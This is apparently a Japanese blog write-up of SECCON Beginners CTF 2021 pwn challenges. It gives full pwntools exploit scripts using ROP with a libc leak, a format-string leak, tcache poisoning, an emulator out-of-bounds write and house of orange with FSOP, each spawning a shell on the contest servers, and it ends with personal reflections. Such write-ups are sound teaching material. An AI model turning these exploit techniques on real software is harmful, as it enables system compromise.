過密です

タイトルしょうもなさすぎたので変えました

SECCON Beginners CTF 2021 Writeup

初めに

SECCON Beginners CTF 2021にチームKUDoSで参加しました。初心者階級日本1位です。(ソロで上位来る人いっぱいいるのでこれは嘘です)

自分が解いたpwn全問とおまけでmiscについて書きます。

ソルバと配布バイナリはここに置いておきます。

github.com

rewriter(pwn)

よくわかるstackのダンプまで表示されるので、return アドレスを書き換えましょう。 書き込む値ですが、flagを出力してくれるwin関数が用意されているのでそのアドレスで良さそうです。

#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
HOST = "rewriter.quals.beginners.seccon.jp"
PORT = 4103

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    conn = remote(HOST, PORT)
else:
    conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_win = elf.symbols["win"]

def exploit():
    conn.recvuntil("rbp\n")
    conn.recvuntil("0x")
    target = int(conn.recvuntil(" "),16)

    conn.sendlineafter("> ", hex(target))
    conn.sendlineafter("= ", hex(addr_win))
    conn.interactive()

if __name__ == "__main__":
    exploit()

beginners_rop(pwn)

自明なgetsによるstack overflowの脆弱性があります。

putsを利用してlibcのアドレスリークをしながらmain関数に戻り、再度system("/bin/sh")を呼び出すようなropを組んでやりましょう。

この時rspがアラインメントされていないと(末尾4byteが0x8など)プログラムが落ちるのでret;だけのgadgetを挟んで調節してください。

#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'
    
FILE_NAME = "./chall"
HOST = "beginners-rop.quals.beginners.seccon.jp"
PORT = 4102

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    conn = remote(HOST, PORT)
else:
    conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_main = elf.symbols["main"]
plt_puts = elf.plt["puts"]
got_puts = elf.got["puts"]
rdi_ret = 0x401283
only_ret = 0x401284
#
libc = ELF('./libc-2.27.so')
off_puts = libc.symbols["puts"]
off_system = libc.symbols["system"]
off_binsh = next(libc.search(b"/bin/sh"))

def exploit():
    buflen = 0x100+8
    payload = b"A"*buflen
    payload += p64(rdi_ret)
    payload += p64(got_puts)
    payload += p64(plt_puts)
    payload += p64(addr_main)
    conn.sendline(payload)
    conn.recvline()
    libc_puts = u64(conn.recvline()[:-1]+b"\x00\x00")
    libc_base = libc_puts - off_puts
    libc_system = libc_base + off_system
    libc_binsh = libc_base + off_binsh
    print(hex(libc_puts))
    
    payload = b"A"*buflen
    payload += p64(only_ret) # to avoid segmentation fault
    payload += p64(rdi_ret)
    payload += p64(libc_binsh)
    payload += p64(libc_system)
    conn.sendline(payload)

    conn.interactive()  

if __name__ == "__main__":
    exploit()   

uma_catch(pwn)

いわゆるheap問ですね。
format string attackとuse after freeの脆弱性があります。
fsaだけでもshell起動できそうかな、と思ったのですが、文字列の長さが十分ではないため、fsaはlibcアドレスのリークに使い、あとはuafでtcache poisoningを行いましょう。

tcacheを利用した攻撃手法は過去のbeginners CTFでも出題されています。

SECCON Beginners CTF 2020 作問者Writeup - CTFするぞ

SECCON Beginners CTF 2019のWriteup - CTFするぞ

ここら辺の説明がわかりやすいと思います。
ただtcache double freeについてはlibc2.29以降で対策がされたので(libc2.27でもものによってはパッチが当たっているらしい)、すでに繋がれたchunkのリストを書き換えるtcache poisoningと呼ばれている手法(名前はあまり覚えていないが多分そう)で攻撃を行います。

  • umaの名前に"%11$p"を入力してlibc_start_mainのアドレスをリーク
  • 複数回freeをしてtcacheのlinkをfree_hookに書き換える
  • free_hookの中身をsystemのアドレスに書き換える
  • nameを"/bin/sh\x00"にしたhourseをfreeしてsystem("/bin/sh")で起動
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
HOST = "uma-catch.quals.beginners.seccon.jp"
PORT = 4101

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    conn = remote(HOST, PORT)
    libc = ELF('./libc-2.27.so')
    off_start_main = libc.symbols["__libc_start_main"] + 231
else:
    conn = process(FILE_NAME)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    off_start_main = libc.symbols["__libc_start_main"] + 243

off_free_hook = libc.symbols["__free_hook"]
off_system = libc.symbols["system"]
off_binsh = next(libc.search(b"/bin/sh"))

def catch(idx):
    conn.sendlineafter("> ", "1")
    conn.sendlineafter("> ", str(idx))
    conn.sendlineafter("> ", "bay")

def name(idx, n):
    conn.sendlineafter("> ", "2")
    conn.sendlineafter("> ", str(idx))
    conn.sendafter("> ", n)

def show(idx):
    conn.sendlineafter("> ", "3")
    conn.sendlineafter("> ", str(idx))

def dance(idx):
    conn.sendlineafter("> ", "4")
    conn.sendlineafter("> ", str(idx))

def delete(idx):
    conn.sendlineafter("> ", "5")
    conn.sendlineafter("> ", str(idx))

def exploit():
    catch(0)
    name(0,"%11$p\n")  # fsb
    show(0)                # libc address leak
    libc_base = int(conn.recvline(),16) - off_start_main
    libc_free_hook = libc_base + off_free_hook
    libc_system = libc_base + off_system
    
    catch(1)
    delete(0)
    delete(1)
    
    name(1, p64(libc_free_hook)+b"\n")  # link _free_hook to tcache
    catch(2)
    catch(3)                           # get a chunk on _free_hook
    name(3, p64(libc_system)+b"\n")        # [_free_hook] = system()
    name(2, "/bin/sh\x00\n")
    
    delete(2)                          # free("/bin/sh") => system("/bin/sh")
    #print(hex(first_chk))
    #print(hex(libc_base))
    conn.interactive()  

if __name__ == "__main__":
    exploit()   

2021_emulator(pwn)

簡易エミューレータの問題です。
ソースが配られているのはありがたいです。

ソースコード一部抜粋

struct emulator {
    uint8_t         registers[REGISTERS_COUNT];
    uint8_t         memory[0x4000];
    void (*instructions[0xFF])(struct emulator*);
};  

構造体emulatorにはレジスタとメモリと命令の関数テーブルが配置されているのですが、memoryの範囲外のアクセスができてしまう脆弱性があるので関数テーブルを書き換えることができてしまいます。
instructions[0x00]をplt_systemにし、regsiters[0]="s", registers[1]="h", registers[2]="\x00"の状態でemulatorが0x00に当たる命令を実行しようとすると emu->instructions[0x00](emu) ==> system("sh")が呼ばれshellが立ち上がります。

#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
#"""
HOST = "emulator.quals.beginners.seccon.jp"
PORT = 4100
"""
HOST = "localhost"
PORT = 7777
#"""

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    conn = remote(HOST, PORT)
else:
    conn = process(FILE_NAME)

elf = ELF(FILE_NAME)

def exploit():
    
    # plt_system = 0x4010d0
    mvi_a   = b"\x3e"
    mvi_b   = b"\x06"
    mvi_c   = b"\x0e"
    mvi_h   = b"\x26"
    mvi_l   = b"\x2e"
    mvi_m   = b"\x36"
    
    payload = b""
    
    payload += mvi_h
    payload += b"\x40"      
    payload += mvi_l
    payload += b"\x04"      
    payload += mvi_m
    payload += b"\xd0"       
    payload += mvi_l         
    payload += b"\x05"
    payload += mvi_m
    payload += b"\x10"      
    payload += mvi_a
    payload += b"s"
    payload += mvi_b
    payload += b"h"
    payload += mvi_c
    payload += b"\x00"
    payload += b"\x00"      #emu->instruction[0x00](emu) ---> plt_system("sh\x00")
    payload += b"\xc9\n"

    conn.sendlineafter("memory...\n", payload)
    conn.interactive()  

if __name__ == "__main__":
    exploit()   

First Bloodでした。(やったね)

freeless(pwn)

free関数なしでどうにかしましょうという問題です。
これはhouse of orangeと呼ばれるテクニックの一部を使うとfreeなしでchunkをfreelistにつなぐことができることが知られています。
問題バイナリのeditコマンドにはヒープオーバーフローの脆弱性があるためこれが使えそうです。
ザックリ説明するとtopのsizeを改変してそのsizeよりも大きいサイズのchunkを用意すると改変されたtopのchunkがfreeされるといった要領です。

日本語での詳しい説明は有料になっちゃいますが、kusanoさんの書籍がよく纏まっていてわかりやすかったです。

Malleus CTF Pwn Second Edition:superflip

※追記: 「CTFするぞ」にないわけがなかった。過去の自分も読んでstarを押していたのにこのエントリの存在忘れていました。

house of orangeによりmallocから_int_freeを呼ぶ - CTFするぞ

freelistにchunkを繋ぐことさえできれば、ヒープオーバーフローもあり、mallocできる回数に制限はありますが、sizeの制限は厳しくないので比較的自由なexploitを組むことができます。

自分はtcacheにつなげたchunkでheapアドレスリーク、unsorted binのchunkを作ってlibcリーク、tcache poisoningでtcache_perthread_structをlinkに繋いで任意のアドレスを自由に確保できるようにしました。
そして_IO_list_all, vtable(_IO_file_jumps), malloc_hook周辺のアドレスをchunkとして確保してFSOPという流れです。

ただプログラムの終了に使われている関数はexit()でなく、_exit()であるためFSOPで使う_IO_flush_all_lockpが呼ばれません。そのためmalloc_hookをexit()にして無理やりFSOPに持ち込みました。

FSOPについての資料は自分はこれで理解できました。
前者は前まで英語verもあったが現在は中国語しかないみたい?もしかしたら微妙かもです。

FILE结构 - CTF Wiki

Play with FILE Structure - Yet Another Binary Exploit Technique

#!/usr/bin/python3
from pwn import *
import sys

#import kmpwn
sys.path.append('/home/vagrant/kmpwn')
from kmpwn import *
# fsb(width, offset, data, padding, roop)
# sop()
# fake_file()

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
#"""
HOST = "freeless.quals.beginners.seccon.jp"
PORT = 9077
"""
HOST = "localhost"
PORT = 7777
"""

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    conn = remote(HOST, PORT)
else:
    conn = process(FILE_NAME)

elf = ELF(FILE_NAME)

libc = ELF('./libc-2.31.so')
off_unsorted = libc.symbols["__malloc_hook"] + 0x70
off_malloc_hook = libc.symbols["__malloc_hook"]
off_io_list = libc.symbols["_IO_list_all"]
off_vtable = libc.symbols["_IO_file_jumps"]
off_system = libc.symbols["system"]
off_exit = libc.symbols["exit"]

def create(idx, size):
    conn.sendlineafter("> ", "1")
    conn.sendlineafter(": ", str(idx))
    conn.sendlineafter(": ", str(size-0x8))

def edit(idx, data):
    conn.sendlineafter("> ", "2")
    conn.sendlineafter(": ", str(idx))
    conn.sendlineafter(": ", data)

def show(idx):
    conn.sendlineafter("> ", "3")
    conn.sendlineafter(": ", str(idx))
    conn.recvuntil("data: ")

def exploit():
    payload = b"A"*0x18
    payload += p64(0x71)
    
    create(0, 0xd00-0x20) 
    create(1, 0x20)         
    edit(1, payload)           # overwrite top size
    
    create(2, 0x1000-0x20-0x70) 
    create(3, 0x20)
    edit(3, payload)           # overwrite top size

    payload = b"A"*0x18
    payload += p64(0x51)
    
    payload = b"A"*0x18
    payload += p64(0x441)
    create(4, 0x1000-0x20-0x440)
    create(5, 0x20)
    edit(5, payload)
    
    create(6, 0x1000)
    leak_padding = b"A"*0x1f + b"X"
    edit(5, leak_padding)
    show(5)
    conn.recvuntil("AX")
    libc_unsorted = u64(conn.recv(6)+b"\x00\x00")
    libc_base = libc_unsorted - off_unsorted
    libc_io_list = libc_base + off_io_list
    libc_vtable = libc_base + off_vtable
    libc_system = libc_base + off_system
    libc_malloc_hook = libc_base + off_malloc_hook
    libc_exit = libc_base + off_exit

    payload = b"A"*0x18+p64(0x421)
    edit(5, payload)

    edit(3, leak_padding)
    show(3)
    conn.recvuntil("AX")
    heap_addr = conn.recvline()[:-1]
    heap_base = u64(heap_addr + b"\x00"*(8-len(heap_addr))) -0x290-(0xd00-0x20)-0x20-0x10
    
    edit(3, b"A"*0x20+p64(heap_base+0x10))
    create(7, 0x50)
    create(8, 0x50)
    fake_tcache_struct = b"\x07\x00"*0x40
    fake_tcache_struct += p64(libc_io_list)
    fake_tcache_struct += p64(libc_vtable)
    fake_tcache_struct += p64(libc_malloc_hook)
    edit(8, fake_tcache_struct)
    create(9, 0x20)
    edit(9, p64(heap_base+0x290+0x10))
    create(10, 0x30)
    edit(10, p64(0)+p64(libc_system))
    create(11, 0x40)
    edit(11, p64(libc_exit))

    fake_file = file_plus_struct()  
    fake_file._flags = u64("/bin/sh\x00")
    fake_file._IO_write_ptr = 1
    fake_file._IO_write_base = 0
    fake_file._vtable = libc_vtable-0x10
    edit(0, fake_file.get_payload())
    
    create(15, 0x100)             # call malloc() -> exit()
    
    print(hex(libc_base))
    print(hex(heap_base))
    conn.interactive()  

if __name__ == "__main__":
    exploit()

First Bloodでした。(やったね)

にしても、beginnersが集まる大会にしてはsolves多かった印象です。 2021_emulatorより遥かに難しいと思っています。

writeme(misc)

チームメイトntomoya氏とあさっち氏が/proc/self/memでの書き換えだったり、id(1)でのアドレスリークの主要なアイデアを出してくれた&トドメをさしてくれたのでほぼ何もしていませんが。。。

id(1),id(2)の実行結果、メモリダンプを見ると id(1) -> 0x954e20 id(2) -> 0x954e40

0x954e20:    0x000000000000032c  0x000000000090a3e0
0x954e30:   0x0000000000000001  0x0000000000000001
0x954e40:   0x0000000000000229  0x000000000090a3e0
0x954e50:   0x0000000000000001  0x0000000000000002
0x954e60:   0x000000000000011c  0x000000000090a3e0
0x954e70:   0x0000000000000001  0x0000000000000003
0x954e80:   0x0000000000000167  0x000000000090a3e0
0x954e90:   0x0000000000000001  0x0000000000000004
0x954ea0:   0x00000000000000a5  0x000000000090a3e0
0x954eb0:   0x0000000000000001  0x0000000000000005

となっていて、実行結果のoffset0x18がその整数を表していそうなので、gdb python3でその箇所を書き換えてみたところプログラムが落ちてしまい、これじゃないか。。と思っていたのですが、どうやらそれで正解だったみたいです。
ローカルだとなぜ動かなかったのでしょうか。。。pythonインタープリタだからだったのか、よくわかっていません。。。

終わりに(ぽえむ)

昨年も言った気がするのですが、自分はctf4bは第1回からの皆勤賞で193位->9位->3位->1位みたいな感じで来ていて、第1回はwelcome,easyあたりを2~3問しか解けなかったと思うので、今回初参加してあんまり解けなかったって人もこれから頑張ればいいと思います。

個人的な意見ですが、解けなくてモチベが下がる気持ちもわかりますが、継続することと同じレベルくらいのメンバーでモチベーションを高め合うのが大事な気がします。

最近ではKUDoSも参加するctfを絞るようになってきましたが、チーム参加〜1年くらいの間は幣チームのリーダーが毎週末狂ったようにslackにctfのアナウンスを投げ続けてくれていたので、これが自分にとってのモチベーション維持の面で大きかったのかなと思います。

と調子に乗って偉そうなことを言ってしまいましたが、海外大会とかになるとまだまだ実力不足なのでこれからも頑張りたい次第です。 今年は海外クソデカつよつよCTFでも30位以内に入ることを目標にしております。

special thanks ctf4b 運営・作問の方々
毎年本当に高い質のCTFをありがとうございます。
難易度は難しい、難化したみたいな声がありますが、個人的にはとても良い難易度の問題セットだと思っています。

special thanks2 一緒に参加してくれたメンバー

f:id:kam1tsur3:20210523094330p:plain
members
しょうおもんないおじさんが3人くらいいますね